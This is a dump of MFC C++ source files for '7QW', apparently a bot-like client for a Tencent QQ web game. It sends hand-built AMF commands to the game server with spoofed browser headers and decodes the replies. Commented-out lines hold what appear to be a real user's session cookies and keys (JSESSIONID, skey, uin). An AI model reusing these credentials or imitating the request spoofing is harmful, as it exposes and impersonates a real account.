    pdlg->m_bPic=FALSE;


    ::CoUninitialize();


    return -1;





}





CString CLoginDlg::GetJsessionId(CString str)


{


    CString str1;


    int i=str.Find("JSESSIONID");


    int j=str.Find(';',i);  


    


    CString temp=str.Mid(i,j-i+1);


    int m=temp.Find("=");


    int n=temp.Find(";");


    str1=temp.Mid(m+1,n-m-1);


    return str1;


}














void CLoginDlg::OnButton6() 


{


    // TODO: Add your control notification handler code here


        TAG_HTTPRequest req;


    CHttpRequest  hrq;


    int iret;


    CString strurl,strheader,strlog,strRecvHeader;


    


    


    unsigned char amfcmd[] ="\x00\x03"


                "\x00\x00\x00\x01\x00\x19\x63\x68\x61\x74\x41\x63\x74\x2e\x67\x65"


                "\x74\x41\x6c\x6c\x4d\x65\x73\x73\x61\x67\x65\x34\x4e\x65\x77\x00"


                "\x03\x2f\x35\x31\x00\x00\x00\x0B\x0A\x00\x00\x00\x01\x11\x0c\x07"


                "\x32\x03\x31";


    


      





    unsigned char amfcmd2[]=


    "\x00\x03\x00\x00\x00\x01\x00\x16\x63\x61\x73\x74\x6C\x65\x41\x63" 


    "\x74\x2E\x73\x65\x6C\x65\x63\x74\x43\x61\x73\x42\x75\x69\x00\x03" 


    "\x2F\x35\x32\x00\x00\x00\x15\x0A\x00\x00\x00\x02\x11\x0C\x09\x30" 


    "\x8C\xCB\x04\x11\x0C\x0D\x32\x09\x4E\x05\x30\x30";            








    unsigned char amfcmd3[]=


    "\x00\x03\x00\x00\x00\x01\x00\x1C\x75\x73\x65\x72\x46\x61\x72\x6D" 


    "\x41\x63\x74\x2E\x67\x65\x74\x46\x61\x72\x6D\x4D\x65\x73\x4F\x66" 


    "\x55\x73\x65\x72\x00\x04\x2F\x31\x37\x32\x00\x00\x00\x05\x0A\x00" 


    "\x00\x00\x00";                                       














    strurl="http://s645.jn2.7.qq.com/dynasty/messagebroker/amf";


    strheader="Accept: */*\r\n"


        "Accept-Language: zh-CN\r\n"


        "Referer: http://cdn.dl.7.qq.com/dynasty/swf/Loading.swf?039e16b91e52fda64fc733ef45898838\r\n"


        "x-flash-version: 10,2,159,1\r\n"


        "Content-Type: application/x-amf\r\n"


        "Content-Length: 51\r\n"


        "UA-CPU: x86\r\n"


        "Accept-Encoding: gzip, deflate\r\n"


        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322;" 


        ".NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"


        "Host: s645.jn2.7.qq.com\r\n"


        "Connection: Keep-Alive\r\n"


        "Cache-Control: no-cache\r\n";


    //"Cookie: JSESSIONID=6256631021B487A3D1CF987C0994A909; ied_rf=--; sTemp=website; 7_fx_login=42523276%7C218%2E25%2E62%2E156%7C1309411916%7C0%7C1%7C1%5F6%7C0%5F0%7C0%5F0%7CAC33477220FD7668BA142948506AA343; sFrom=website; pgv_pvid=233851696; pgv_info=pgvReferrer=&ssid=s7645323644; verifysession=h00beff5c2251fb4e3df8355081df9246b28d471eec5209d96dcf6a894aaaa25d657d6c6c7dbb4656bb6eba49a749d5e0e3; pt2gguin=o0042523276; uin=o0042523276; skey=@QWXW7LGXz; ptisp=cnc\r\n\r\n";


    //"Cookie: JSESSIONID=DE95FBBF9FF0ACA22E1028F65CB67345; pgv_info=pgvReferrer=&ssid=s2340214185; ac=1,024,005; uin_cookie=42523276; euin_cookie=C489F4FACE744BFE5539A20A833903088F212735FC443E87; o_cookie=42523276;1736350552 pgv_pvid=5042252466; pgv_flv=10.0; o0042523276pgv_r_cookie=116296226613;@QWXW7LGXz ptisp=cnc; pt2gguin=o0042523276; uin=o0042523276; skey=@QWXW7LGXz; IED_LOG_INFO=uin*42523276|nick*Terry%20|time*1309389542; ied_rf=--; sTemp=website; 7_fx_login=42523276%7C218%2E25%2E62%2E156%7C1309389562%7C0%7C1%7C1%5F6%7C0%5F0%7C0%5F0%7CAFB45EF1CA02ACE15E8D73B567FCE090; sFrom=website\r\n\r\n";


    //"Cookie: JSESSIONID=1496AE8D7F875654A5FF9A22145734C8; ied_rf=ab; sTemp=website; 7_fx_login=42523276%7C218%2E25%2E62%2E156%7C1309392023%7C0%7C1%7C1%5F6%7C0%5F0%7C0%5F0%7CFEDAC60ABB06803CAD298335470A0749; sFrom=website; pgv_pvid=abc; pgv_info=pgvReferrer=&ssid=abc; pt2gguin=abc; uin=abc; skey=abcd; ptisp=abc; IED_LOG_INFO=abcdefg\r\n\r\n";


    


    strheader=strheader+m_strAmfQuery+"\r\n\r\n";


    iret=hrq.SendHTTP(strurl.GetBuffer(0),strheader.GetBuffer(0),amfcmd3,51,&req);


    if(!iret)


    {


        strlog.Format("发送指令成功.结果:%s",req.headerReceive);


        SetMainFrameLog(strlog,0);


        


    }else


    {


        strlog.Format("发送指令成功.结果:%s.",req.headerReceive);


        SetMainFrameLog(strlog,0);


    }





    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"Responsex.txt";


    CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);


//  file.Write(req.headerReceive,strlen(req.headerReceive));


    //写入文件（从当前位置）


    file.Write(req.message,req.messageLength);


    file.Close();





    strRecvHeader=req.headerReceive;


    BOOL bgzip;


    int i=0;


    CString xx;


    if(strRecvHeader.Find("gzip")>0)


    {


        bgzip=TRUE;





        for(i=0;i<req.messageLength;i++)


        {


            if(((BYTE)*(req.message+i)==0x1F)&&((BYTE)*(req.message+i+1)==0x8B))


            {


                break;


            }


            


    }





    }else


    {


        bgzip=FALSE;





    }


    CMainFrame *pfm=(CMainFrame *)AfxGetMainWnd();








    C7wAmfCmd::_Decode7WAmfCmd((BYTE *)req.message+i,req.messageLength-i,bgzip,pfm);





    free(req.message);


    free(req.headerReceive);


    


}





UINT CLoginDlg::_SaveLogFile(TAG_HTTPRequest *req)


{


    m_ucount++;


    CString temp;


    temp.Format("loginres%d",m_ucount);


    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+temp;


    CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);


    file.Write(req->headerReceive,strlen(req->headerReceive));


    //写入文件（从当前位置）


    file.Write(req->message,req->messageLength);


    file.Close();


    return -1;


}





UINT CLoginDlg::_SendAmfCmd(BYTE *pbuf, UINT ulen,CLoginDlg *pdlg,CString strcmd)


{   


    


    //正常验证过程


    CString strUrl,strHeader,strlog;


    TAG_HTTPRequest req;


    CHttpRequest  hrq;


    int iret;


    strUrl.Format("http://s%s.jn2.7.qq.com/dynasty/messagebroker/amf",pdlg->m_strDomain);


        


        





    strHeader.Format("Accept: */*\r\n"


        "Accept-Language: zh-CN\r\n"


        "Referer: http://cdn.dl.7.qq.com/dynasty/swf/Loading.swf?039e16b91e52fda64fc733ef45898838\r\n"


        "x-flash-version: 10,2,159,1\r\n"


        "Content-Type: application/x-amf\r\n"


        "Content-Length: %d\r\n"


        "UA-CPU: x86\r\n"


        "Accept-Encoding: gzip, deflate\r\n"


        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322;" 


        ".NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"


        "Host: s%s.jn2.7.qq.com\r\n"


        "Connection: Keep-Alive\r\n"


        "Cache-Control: no-cache\r\n",ulen,pdlg->m_strDomain);


    


    strHeader=strHeader+pdlg->m_strAmfQuery+"\r\n\r\n";


    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),pbuf,ulen,&req);


    if(!iret)


    {


        strlog.Format("发送%s指令成功,结果:%s",strcmd,req.headerReceive);


        pdlg->SetMainFrameLog(strlog,0);


        _SaveLogFile(&req);





        if(strcmd=="accountAct.getUserCastles")


        {


            _GetCastleId(&req);


        }











    }else


    {


        strlog.Format("发送%s指令成功,结果:%s",strcmd,req.headerReceive);


        pdlg->SetMainFrameLog(strlog,0);


    }


    


    free(req.message);


    free(req.headerReceive);


    


    return -1;





}





UINT CLoginDlg::_GetCastleId(TAG_HTTPRequest *req)





{





    int ilen=req->messageLength;


    BYTE   *pBuf=(BYTE  *)malloc(sizeof(BYTE)*ilen);//开辟缓冲区 


    memcpy(pBuf,req->message,ilen);





    CByteArray *parray;








    for(int i=0;i<ilen;i++)


    {


        if((*(pBuf+i)==0x1F)&&(*(pBuf+i+1)==0x8B))


        {


            break;


        }


        


    }


    int j=ilen-i;


    BYTE   *pBuf2=(BYTE  *)malloc(sizeof(BYTE)*j);//开辟缓冲区 


    memcpy(pBuf2,pBuf+i,j);


    free(pBuf);








    CString strlog;


    parray=new CByteArray();


    parray->SetSize(j);


    DWORD dwlen=amf_static::_DeGzip(pBuf2,parray,j);


    


    if(dwlen<=j)


    {


        strlog.Format("解析失败[%d/%d]",ilen,dwlen);


        return -1;


    


    }





    TAG_context ctx;


    amf_object::init_context(&ctx,NULL,NULL);


    TAG_IoData* io = new TAG_IoData();


    


    io->buflen=parray->GetSize();


    io->buf=(unsigned char*)malloc(io->buflen);


    ::memcpy(io->buf,parray->GetData(),io->buflen);


    io->pos = 0;


    ctx.m_IFileHandle =io;


    //字节数组释放掉


    parray->RemoveAll();


    


    //选跳过头部


    amf_static::read_head(&ctx);


    //准备解析amf3数据,并树形控制件上进行显示


    


    


    amf_object_handle aoh=amf_static::read_elem(&ctx);


    TAG_IoData* iox=(TAG_IoData* )ctx.m_IFileHandle;


    if(iox->pos==io->buflen)


    {


        AfxMessageBox("成功解析amf");


    }


    else    


    {


        strlog.Format("解析结果:%d,%d",iox->pos,io->buflen);


        AfxMessageBox(strlog);


    }





    CMainFrame *pfm=(CMainFrame *)AfxGetMainWnd();





    CString strdata;


    pfm->m_pFun1LeftView->_InsertRootItem();


    amf_static::_DumpAmf(aoh,pfm->m_pFun1LeftView->m_hRoot,pfm->m_pFun1LeftView->GetTreeCtrl(),strdata);


    pfm->m_pFun1LeftView->GetTreeCtrl().Expand(pfm->m_pFun1LeftView->m_hRoot,TVE_EXPAND);


    amf_object::clear_context(&ctx);





//  CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"castleid";


//  CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);


//  file.Write(parray->GetData(),parray->GetSize());


//  file.Close();











return -1;


}








源码/LoginDlg.h

//{{AFX_INCLUDES()
#include "webbrowser2.h"
//}}AFX_INCLUDES
#if !defined(AFX_LOGINDLG_H__71ECC048_6C7B_4B9F_8BF4_0C568C9D2391__INCLUDED_)
#define AFX_LOGINDLG_H__71ECC048_6C7B_4B9F_8BF4_0C568C9D2391__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// LoginDlg.h : header file
//
#include "ScriptObject.h"
#include "HttpRequest.h"
/////////////////////////////////////////////////////////////////////////////
// CLoginDlg dialog

class CLoginDlg : public CDialog
{
// Construction
public:
	UINT _GetCastleId(TAG_HTTPRequest *req);
	static UINT m_ucount;
	UINT _SendAmfCmd(BYTE *pbuf,UINT ulen,CLoginDlg *pdlg,CString strcmd);
	static UINT _SaveLogFile(TAG_HTTPRequest *req);
	CString GetJsessionId(CString str);
	UINT	Get3DomainCookies(CString str,CString &str1,CString &str2,CString &str3);
	UINT	Get5LoginCookies(CString str,CString &str1,CString &str2,CString &str3,CString &str4,CString &str5);
	CString GetEncPsw(CString strPsw,CString strVfy);
	void	SetMainFrameLog(CString log,int state);
	HBITMAP LoadALLPIC(CString strFileName);
	CString GetVerifySession(CString strQQid);
	CString GetPgv_Info(CString strcookie);
	CString GetPgv_Pvid(CString strcookie);
	CString GetCookie();
	CString GetLoginParam(CString str);
	CString GetUiKey(CString str);
	CString GetPtvSession(CString str);
	void	GetVerifyStr(CString str,CString& str1,CString& str2);
	CLoginDlg(CWnd* pParent = NULL);   // standard constructor
	static DWORD WINAPI _NormalThreadProc(LPVOID lpParam);
	static DWORD WINAPI _PictureThreadProc(LPVOID lpParam);	
// Dialog Data
	//{{AFX_DATA(CLoginDlg)
	enum { IDD = IDD_DIALOG5 };
	CEdit	m_edit3;
	CStatic	m_static;
	CEdit	m_edit4;
	CEdit	m_edit2;
	CEdit	m_edit1;
	//}}AFX_DATA


// Overrides
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CLoginDlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	virtual void PostNcDestroy();
	virtual void OnCancel();
	//}}AFX_VIRTUAL

// Implementation
protected:
	CString m_strptvfsession;
	CString m_strverify;
	CString m_strQQid;
	BOOL    m_bPic;
	CString m_strpt2gguin;
	CString m_strskey;
	CString m_strptisp;
	CString m_strptuserinfo;
	CString m_strptcz;

	CString m_strDomain;
	CString m_strJsessionID;

	CString m_strAmfQuery;

	// Generated message map functions
	//{{AFX_MSG(CLoginDlg)
	afx_msg void OnButton1();
	afx_msg void OnButton2();
	virtual BOOL OnInitDialog();
	afx_msg BOOL OnEraseBkgnd(CDC* pDC);
	afx_msg void OnButton6();
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_LOGINDLG_H__71ECC048_6C7B_4B9F_8BF4_0C568C9D2391__INCLUDED_)








源码/macros.h

#ifndef _UTILITY_MACRO_H
#define _UTILITY_MACRO_H

//////////////////////////////////////////////////////////////////////////////////////////////

#ifndef SAFE_DELETE
#define SAFE_DELETE(p)					{if(p != NULL) { delete (p);     (p) = NULL; } }   //Delete object by New create 
#endif

#ifndef SAFE_DELETEA	
#define SAFE_DELETEA(p)					{if(p != NULL) { delete[] (p);   (p) = NULL; } }   //Delete Arrary
#endif

#ifndef SAFE_RELEASE
#define SAFE_RELEASE(p)					{if(p != NULL) { (p)->Release(); (p) = NULL; } }
#endif

#ifndef SAFE_FREE
#define SAFE_FREE(p)					{if(p != NULL) { free(p); (p) = NULL; } }
#endif

#ifndef CheckPointer
#define CheckPointer(pointer,hr)		{if(pointer == NULL) return hr;};
#endif

#ifndef FALSE_RETURN
#define FALSE_RETURN(bRes,hr)			{if(bRes == FALSE) return hr;};
#endif

#ifndef FALSE_GOTO
#define FALSE_GOTO(bRes,Lable)			{if(bRes == FALSE) goto Lable;};
#endif

#ifndef SAFE_CLOSE_HANDLE
#define SAFE_CLOSE_HANDLE(handle)		{if(handle != NULL) {CloseHandle(handle);handle = NULL;}};
#endif

#endif







源码/MainFrm.cpp


源码/MainFrm.cpp

// MainFrm.cpp : implementation of the CMainFrame class


//





#include "stdafx.h"


#include "7QW.h"


#include "TopView.h"


#include "EndView.h"


#include "MainFrm.h"


#include "amf_static.h"


#include "amf_object.h"


#include "LoginDlg.h"


#include "7wAmfCmd.h"


#include "StaticFunctions.h"


#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CMainFrame





IMPLEMENT_DYNCREATE(CMainFrame, CFrameWnd)





BEGIN_MESSAGE_MAP(CMainFrame, CFrameWnd)


    //{{AFX_MSG_MAP(CMainFrame)


    ON_WM_CREATE()


    ON_WM_SIZE()


    ON_COMMAND(ID_TEST, OnTest)


    ON_COMMAND(ID_AMF3_DECODE, OnAmf3Decode)


    ON_COMMAND(IDM_MENU_LOGIN, OnMenuLogin)


    ON_COMMAND(ID_AMF3_DECODE2, OnAmf3Decode2)


    //}}AFX_MSG_MAP


    ON_MESSAGE(WM_LOGINDLG_DESTORYED,OnLoginDestroyed)


END_MESSAGE_MAP()





static UINT indicators[] =


{


    ID_SEPARATOR,           // status line indicator


    ID_INDICATOR_CAPS,


    ID_INDICATOR_NUM,


    ID_INDICATOR_SCRL,


};





/////////////////////////////////////////////////////////////////////////////


// CMainFrame construction/destruction





CMainFrame::CMainFrame()


{


    // TODO: add member initialization code here


    


}





CMainFrame::~CMainFrame()


{


}





int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)


{


    if (CFrameWnd::OnCreate(lpCreateStruct) == -1)


        return -1;


    


    if (!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP


        | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||


        !m_wndToolBar.LoadToolBar(IDR_MAINFRAME))


    {


        TRACE0("Failed to create toolbar\n");


        return -1;      // fail to create


    }





    if (!m_wndStatusBar.Create(this) ||


        !m_wndStatusBar.SetIndicators(indicators,


          sizeof(indicators)/sizeof(UINT)))


    {


        TRACE0("Failed to create status bar\n");


        return -1;      // fail to create


    }





    // TODO: Delete these three lines if you don't want the toolbar to


    //  be dockable


    m_wndToolBar.EnableDocking(CBRS_ALIGN_ANY);


    EnableDocking(CBRS_ALIGN_ANY);


    DockControlBar(&m_wndToolBar);





    return 0;


}





BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs)


{


    if( !CFrameWnd::PreCreateWindow(cs) )


        return FALSE;


    // TODO: Modify the Window class or styles here by modifying


    //  the CREATESTRUCT cs





    return TRUE;


}





/////////////////////////////////////////////////////////////////////////////


// CMainFrame diagnostics





#ifdef _DEBUG


void CMainFrame::AssertValid() const


{


    CFrameWnd::AssertValid();


}





void CMainFrame::Dump(CDumpContext& dc) const


{


    CFrameWnd::Dump(dc);


}





#endif //_DEBUG





/////////////////////////////////////////////////////////////////////////////


// CMainFrame message handlers








BOOL CMainFrame::OnCreateClient(LPCREATESTRUCT lpcs, CCreateContext* pContext) 


{


    // TODO: Add your specialized code here and/or call the base class


          if (!m_wndSplitter.CreateStatic (this, 2, 1) ||


              !m_wndSplitter.CreateView (0, 0, RUNTIME_CLASS


              (CTopView), CSize (0, 300), pContext) ||


              !m_wndSplitter.CreateView (1, 0, RUNTIME_CLASS (CEndView),


              CSize (0, 0), pContext))


        return FALSE;





      m_bSplitterCreated=TRUE;











      CTopView *pView=(CTopView*)m_wndSplitter.GetPane(0,0);


      m_pFun1LeftView=pView->GetFun1LeftViewFromPage();


      m_pFun1RightView=pView->GetFun1RightViewFromPage();





    //return CFrameWnd::OnCreateClient(lpcs, pContext);


}





void CMainFrame::OnSize(UINT nType, int cx, int cy) 


{


    CFrameWnd::OnSize(nType, cx, cy);


    


    // TODO: Add your message handler code here


    CRect rect;


    GetClientRect(rect);


    


    if (m_bSplitterCreated)


    {


        m_wndSplitter.SetRowInfo(0,rect.Height()*3/4,0);    //上面窗口占3/4左右


        m_wndSplitter.RecalcLayout();


        


    }


}





void CMainFrame::OnTest() 


{


    // TODO: Add your command handler code here


/*  unsigned char chooseBuild[] ="\x81\x53";





    TAG_context ctx;


    amf_object::init_context(&ctx,NULL,NULL);


    TAG_IoData* io = new TAG_IoData();


    


    CFile mFile("f:\\winlist.txt",CFile::modeRead);








    io->buflen=mFile.GetLength();


    io->buf=(unsigned char*)malloc(io->buflen);





    mFile.Read(io->buf,mFile.GetLength());








//  ::memcpy(io->buf,chooseBuild,io->buflen);


    io->pos = 0;


    ctx.m_IFileHandle =io;





    CString ff;


    amf_object_handle aoh=amf_static::read_elem(&ctx);


    TAG_IoData* iox=(TAG_IoData* )ctx.m_IFileHandle;


    if(iox->pos==io->buflen)


    {


        AfxMessageBox("成功解析amf");


    }


    else





    {


        ff.Format("解析失败:%d,%d",iox->pos,io->buflen);


        AfxMessageBox(ff);


    }


    amf_static::_DumpAmf(aoh,m_pFun1LeftView->m_hRoot,m_pFun1LeftView->GetTreeCtrl());


    m_pFun1LeftView->GetTreeCtrl().Expand(m_pFun1LeftView->m_hRoot,TVE_EXPAND);*/





//SetLogString("test",0);








/*  CByteArray *parray; 


    parray=new CByteArray();


    parray->SetSize(1);


    CString strcmd="castleAct.listTodoBuilding";


    BYTE reqdata[]="\x0A\x00\x00\x00\x01\x11\x0C\x09\x30\x8C\xCB\x04";





    C7wAmfCmd::_CreateAmf3Cmd(parray,strcmd,reqdata,12);





    





    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"amfcmd";


    CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);


    file.Write(parray->GetData(),parray->GetSize());


    file.Close();*/








//int i=50;








//amf_static::write_u29(NULL,i);











}











void CMainFrame::OnAmf3Decode() 


{


    // TODO: Add your command handler code here


    


    m_pFun1LeftView->GetTreeCtrl().DeleteAllItems();


    //TRUE为OPEN对话框，FALSE为SAVE AS对话框


    CString strPathName,strlog;


    CFileDialog dlg(TRUE);


    if(dlg.DoModal()==IDOK)


        strPathName=dlg.GetPathName();





    


    BOOL bTest=TRUE;


    CFile   OpenFile; 


    BOOL bflag=FALSE;


    OpenFile.Open(strPathName,CFile::modeReadWrite); 


    int   length=OpenFile.GetLength();//获取文件长度 


    BYTE   *pBuf=(BYTE  *)malloc(sizeof(BYTE)*length);//开辟缓冲区 


    OpenFile.SeekToBegin();


    OpenFile.Read(pBuf,length);//读文件 


    OpenFile.Flush();


    OpenFile.Close();


    CByteArray *parray;


    if(bTest)


    {


        for(int i=0;i<length;i++)


        {


            if((*(pBuf+i)==0x1F)&&(*(pBuf+i+1)==0x8B))


            {


                break;


            }


            


        }


        int j=length-i;


        BYTE   *pBuf2=(BYTE  *)malloc(sizeof(BYTE)*j);//开辟缓冲区 


        memcpy(pBuf2,pBuf+i,j);


        free(pBuf);


        


        


        parray=new CByteArray();


        parray->SetSize(j);


        DWORD dwlen=amf_static::_DeGzip(pBuf2,parray,j);


        


        if(dwlen<=j)


        {


            strlog.Format("解析失败[%d/%d]",j,dwlen);


            ::AfxMessageBox(strlog);


        }


    }else


    {


        parray=new CByteArray();


        parray->SetSize(length);


        memcpy(parray->GetData(),pBuf,length);


    }








    TAG_context ctx;


    amf_object::init_context(&ctx,NULL,NULL);


    TAG_IoData* io = new TAG_IoData();


    


    io->buflen=parray->GetSize();


    io->buf=(unsigned char*)malloc(io->buflen);


    ::memcpy(io->buf,parray->GetData(),io->buflen);


    io->pos = 0;


    ctx.m_IFileHandle =io;


    //字节数组释放掉


    parray->RemoveAll();


    


    //选跳过头部


    amf_static::read_head(&ctx);


    //准备解析amf3数据,并树形控制件上进行显示








    amf_object_handle aoh=amf_static::read_elem(&ctx);


    TAG_IoData* iox=(TAG_IoData* )ctx.m_IFileHandle;


    if(iox->pos==io->buflen)


    {


        AfxMessageBox("成功解析amf");


    }


    else    


    {


        strlog.Format("解析结果:%d,%d",iox->pos,io->buflen);


        AfxMessageBox(strlog);


    }


    CString strdata;


    m_pFun1LeftView->_InsertRootItem();


    amf_static::_DumpAmf(aoh,m_pFun1LeftView->m_hRoot,m_pFun1LeftView->GetTreeCtrl(),strdata);


    m_pFun1LeftView->GetTreeCtrl().Expand(m_pFun1LeftView->m_hRoot,TVE_EXPAND);


    amf_object::clear_context(&ctx);











}





void CMainFrame::OnMenuLogin() 


{


    // TODO: Add your command handler code here


/*  if(m_plogin!=NULL)


    {


        m_plogin->SetFocus();   


        return;


    }


    else


    {


        


        m_plogin=new CLoginDlg;


        m_plogin->Create(IDD_DIALOG5);


        m_plogin->ShowWindow(SW_SHOW);


        m_plogin->CenterWindow();


    }*/


}





CEndView * CMainFrame::GetEndListView()


{


    CEndView *pView=(CEndView *)m_wndSplitter.GetPane(1,0);


    CheckPointer(pView,NULL);


   return pView;


}





CTopView * CMainFrame::GetTopPageView()


{


    CTopView *pView=(CTopView*)m_wndSplitter.GetPane(0,0);


    CheckPointer(pView,NULL);


   return pView;


}





void CMainFrame::SetLogString(CString strlog, int iState)


{


    CString log;


    CTime time=CTime::GetCurrentTime(); 


    CString strTime=time.Format("%X-----");


    log=strTime+strlog;


    int rows=GetEndListView()->GetListCtrl().GetItemCount();


    GetEndListView()->GetListCtrl().InsertItem(rows,log.GetBuffer(0),0);


}








//视频捕捉对话框销毁时使用mainframe指针成员指NULL


LRESULT CMainFrame::OnLoginDestroyed(WPARAM wp,LPARAM lp) 


{


    


    m_plogin=NULL;


    return 0;


}





void CMainFrame::OnAmf3Decode2() 


{


    // TODO: Add your command handler code here


    m_pFun1LeftView->GetTreeCtrl().DeleteAllItems();


    //TRUE为OPEN对话框，FALSE为SAVE AS对话框


    CString strPathName,strlog;


    CFileDialog dlg(TRUE);


    if(dlg.DoModal()==IDOK)


        strPathName=dlg.GetPathName();


    


    


    BOOL bTest=FALSE;


    CFile   OpenFile; 


    BOOL bflag=FALSE;


    OpenFile.Open(strPathName,CFile::modeReadWrite); 


    int   length=OpenFile.GetLength();//获取文件长度 


    BYTE   *pBuf=(BYTE  *)malloc(sizeof(BYTE)*length);//开辟缓冲区 


    OpenFile.SeekToBegin();


    OpenFile.Read(pBuf,length);//读文件 


    OpenFile.Flush();


    OpenFile.Close();


    CByteArray *parray;


    if(bTest)


    {


        for(int i=0;i<length;i++)


        {


            if((*(pBuf+i)==0x1F)&&(*(pBuf+i+1)==0x8B))


            {


                break;


            }


            


        }


        int j=length-i;


        BYTE   *pBuf2=(BYTE  *)malloc(sizeof(BYTE)*j);//开辟缓冲区 


        memcpy(pBuf2,pBuf+i,j);


        free(pBuf);


        


        


        parray=new CByteArray();


        parray->SetSize(j);


        DWORD dwlen=amf_static::_DeGzip(pBuf2,parray,j);


        


        if(dwlen<=j)


        {


            strlog.Format("解析失败[%d/%d]",j,dwlen);


            ::AfxMessageBox(strlog);


        }


    }else


    {


        parray=new CByteArray();


        parray->SetSize(length);


        memcpy(parray->GetData(),pBuf,length);


    }


    


    


    TAG_context ctx;


    amf_object::init_context(&ctx,NULL,NULL);


    TAG_IoData* io = new TAG_IoData();


    


    io->buflen=parray->GetSize();


    io->buf=(unsigned char*)malloc(io->buflen);


    ::memcpy(io->buf,parray->GetData(),io->buflen);


    


    ::memcpy(io->buf,parray->GetData(),io->buflen);


    io->pos = 0;


    ctx.m_IFileHandle =io;


    //字节数组释放掉


    parray->RemoveAll();


    


    //选跳过头部


    amf_static::read_head(&ctx);


    //准备解析amf3数据,并树形控制件上进行显示


    


    


    amf_object_handle aoh=amf_static::read_elem(&ctx);


    TAG_IoData* iox=(TAG_IoData* )ctx.m_IFileHandle;


    if(iox->pos==io->buflen)


    {


        AfxMessageBox("成功解析amf");


    }


    else    


    {


        strlog.Format("解析结果:%d,%d",iox->pos,io->buflen);


        AfxMessageBox(strlog);


    }


    CString strdata;


    m_pFun1LeftView->_InsertRootItem();


    amf_static::_DumpAmf(aoh,m_pFun1LeftView->m_hRoot,m_pFun1LeftView->GetTreeCtrl(),strdata);


    m_pFun1LeftView->GetTreeCtrl().Expand(m_pFun1LeftView->m_hRoot,TVE_EXPAND);


    amf_object::clear_context(&ctx);


}








源码/MainFrm.h

// MainFrm.h : interface of the CMainFrame class
//
/////////////////////////////////////////////////////////////////////////////

#if !defined(AFX_MAINFRM_H__436A570A_C049_4D05_A11B_43DE446927E9__INCLUDED_)
#define AFX_MAINFRM_H__436A570A_C049_4D05_A11B_43DE446927E9__INCLUDED_

#include "Fun1LeftView.h"	// Added by ClassView
#include "Fun1RightView.h"
#include "LoginDlg.h"
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#define WM_LOGINDLG_DESTORYED			WM_USER+300

class CTopView;
class CEndView;
class CFun1LeftView;
class CMainFrame : public CFrameWnd
{
	
protected: // create from serialization only
	CMainFrame();
	DECLARE_DYNCREATE(CMainFrame)

// Attributes
public:
	CString m_strCookies;
// Operations
public:
	LRESULT OnLoginDestroyed(WPARAM wp,LPARAM lp); 
// Overrides
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CMainFrame)
	public:
	virtual BOOL PreCreateWindow(CREATESTRUCT& cs);
	protected:
	virtual BOOL OnCreateClient(LPCREATESTRUCT lpcs, CCreateContext* pContext);
	//}}AFX_VIRTUAL

// Implementation
public:
	void SetLogString(CString strlog,int iState);
	CTopView * GetTopPageView();
	CEndView * GetEndListView();
	CFun1RightView * m_pFun1RightView;
	CFun1LeftView *m_pFun1LeftView;
	virtual ~CMainFrame();
#ifdef _DEBUG
	virtual void AssertValid() const;
	virtual void Dump(CDumpContext& dc) const;
#endif

protected:  // control bar embedded members
	CStatusBar   m_wndStatusBar;
	CToolBar     m_wndToolBar;
	CSplitterWnd m_wndSplitter;
	BOOL         m_bSplitterCreated;
	CLoginDlg*	 m_plogin;

// Generated message map functions
protected:
	//{{AFX_MSG(CMainFrame)
	afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
	afx_msg void OnSize(UINT nType, int cx, int cy);
	afx_msg void OnTest();
	afx_msg void OnAmf3Decode();
	afx_msg void OnMenuLogin();
	afx_msg void OnAmf3Decode2();
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_MAINFRM_H__436A570A_C049_4D05_A11B_43DE446927E9__INCLUDED_)








源码/ReadMe.txt

========================================================================
       MICROSOFT FOUNDATION CLASS LIBRARY : 7QW
========================================================================


AppWizard has created this 7QW application for you.  This application
not only demonstrates the basics of using the Microsoft Foundation classes
but is also a starting point for writing your application.

This file contains a summary of what you will find in each of the files that
make up your 7QW application.

7QW.dsp
    This file (the project file) contains information at the project level and
    is used to build a single project or subproject. Other users can share the
    project (.dsp) file, but they should export the makefiles locally.

7QW.h
    This is the main header file for the application.  It includes other
    project specific headers (including Resource.h) and declares the
    CMy7QWApp application class.

7QW.cpp
    This is the main application source file that contains the application
    class CMy7QWApp.

7QW.rc
    This is a listing of all of the Microsoft Windows resources that the
